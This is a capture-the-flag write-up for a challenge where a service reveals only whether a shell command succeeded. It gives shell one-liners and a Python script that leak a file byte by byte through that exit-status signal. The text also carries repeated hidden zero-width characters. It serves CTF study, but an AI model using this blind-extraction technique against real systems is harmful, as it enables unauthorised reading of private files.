← Back to Writeups
CUSTOMMediumMisc

Vibe Shell

XESXOR9/2/20264 min read
#misc#custom#medium#binary_search_extraction#boolean_oracle_byte_leak#exit_status_side_channel#find_enumeration#printf_ascii_trick

Vibe Shell

Platform: bug-makers | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-29 | Status: Solved Techniques: binary_search_extraction, boolean_oracle_byte_leak, exit_status_side_channel, find_enumeration, printf_ascii_trick

Summary

Task: a netcat service that executes each input line as a fresh shell command and reveals only a boolean (Good Vibes/Bad Vibes) reflecting exit code 0 vs non-zero. Solution: turn the exit-status oracle into a byte-leak primitive via binary search and the printf '%d' ASCII trick, bypass a /sys flag decoy, enumerate the single real .txt file, and read it byte-by-byte.

Vibe Shell — bug-makers (BugCTF)

Description

Вайб Шелл. Сначала разберитесь, что делать, а потом ищите решение. Доступен сервер, который отвечает только «успех» или «провал». Ваша цель — найти расположение и имя текстового файла с флагом и прочитать содержимое. Рестарт контейнера каждые 30 мин.

English summary: A server reachable via nc 31.207.77.216 4027 responds only with "success" or "failure". Each input line is executed as a fresh, stateless shell command and the only feedback is the command's exit status. The goal is to find the location and name of a text file containing the flag and read its contents. The container restarts every 30 minutes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

The service is a blind command-execution boolean oracle. Probing with simple commands maps the response space:

  • true → 🟢 "Good Vibes!" (exit code 0 = success)
  • false → 🔴 "Bad Vibes!" (non-zero exit = failure)
  • exit 1 → 🔴, garbage command → 🔴

Key constraints discovered:

  • Read-only filesystem. echo x > /tmp/x fails; neither /tmp nor the cwd is writable.
  • Stateless. No state persists between commands — every line is a brand-new shell. You cannot stage partial results into a temp file; each leaked byte must be re-derived from the original command.
  • Only a single bit of output per query (exit 0 vs non-zero). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

With only one bit of feedback per request, the whole challenge reduces to: build a byte-leak primitive on top of the exit-status side channel.

Solution

1. Byte-leak primitive

Any string can be leaked one character at a time using cut, and any character can be converted to its ASCII code in POSIX shell with the printf '%d' "'X" trick (a leading quote before a character makes printf emit its numeric code). A binary search over 1..127 recovers each byte in ~7 queries.

  • Output length: test $(CMD | wc -c) -le N
  • ASCII value of the Nth char: test $(printf '%d' "'$(CMD | cut -cN)") -le MID ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Locate the flag file — the /sys decoy

The obvious move misleads you:

sh
find / -name "flag*" -type f

This matches only /sys/devices/pnp0/00:00/00:00:0/00:00:0.0/tty/ttyS0/flag — a kernel sysfs attribute (the serial port's flags register). It coincidentally matches flag* and is a pure decoy. It is not a text file with the flag.

The challenge description is the hint: the flag is in a text file, and its name does not contain "flag". Enumerate .txt files outside system directories: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

sh
find / -name "*.txt" -type f 2>/dev/null | grep -vE "^/sys|^/proc|^/usr|^/etc|^/lib"

Exactly one path remains. Leaking it byte-by-byte through the oracle yields:

/home/ctfuser/secret.txt

3. Read the flag

sh
cat /home/ctfuser/secret.txt | cut -cN

Leaked byte-by-byte → BugCTF{REDACTED}.

Performance notes / pitfalls

  • Running find / once per oracle query is extremely slow and caused timeouts. Once the containing directory is identified, scope find to a specific top-level dir (/sys, then /home).
  • The read-only + stateless combination means you cannot cache find results in /tmp; every byte of a path must be re-derived from the same command pipeline.
  • The /sys flag attribute is the deliberate trap. find / -name "flag*" sends you to a sysfs register; the real target is a .txt whose name (secret.txt) contains no "flag" substring. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Python harness (oracle.py)

python
import socket, time

HOST, PORT = "31.207.77.216", 4027

def make_conn():
    s = socket.socket()
    s.settimeout(8)
    s.connect((HOST, PORT))
    return s

def ask(s, cmd):
    s.sendall((cmd + "\n").encode())
    time.sleep(0.25)
    data = b""
    end = time.time() + 5
    while time.time() < end:
        try:
            chunk = s.recv(4096)
        except socket.timeout:
            break
        if not chunk:
            break
        data += chunk
        if b"Vibes" in data:
            break
    if b"Good Vibes" in data:
        return True
    if b"Bad Vibes" in data:
        return False
    return None

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Byte-leak core

python
CMD = 'cat /home/ctfuser/secret.txt'

def char_at(s, idx):
    lo, hi = 1, 127
    while lo < hi:
        mid = (lo + hi) // 2
        if ask(s, f"test $(printf '%d' \"'$({CMD} | cut -c{idx})\") -le {mid}"):
            hi = mid
        else:
            lo = mid + 1
    return lo

def leak(s, cmd):
    # find output length first
    n = 1
    while not ask(s, f"test $({cmd} | wc -c) -le {n}"):
        n += 1
    out = ""
    for i in range(1, n):  # last byte is usually the trailing newline
        out += chr(char_at(s, i))
    return out
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

s = make_conn()
print(leak(s, CMD))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍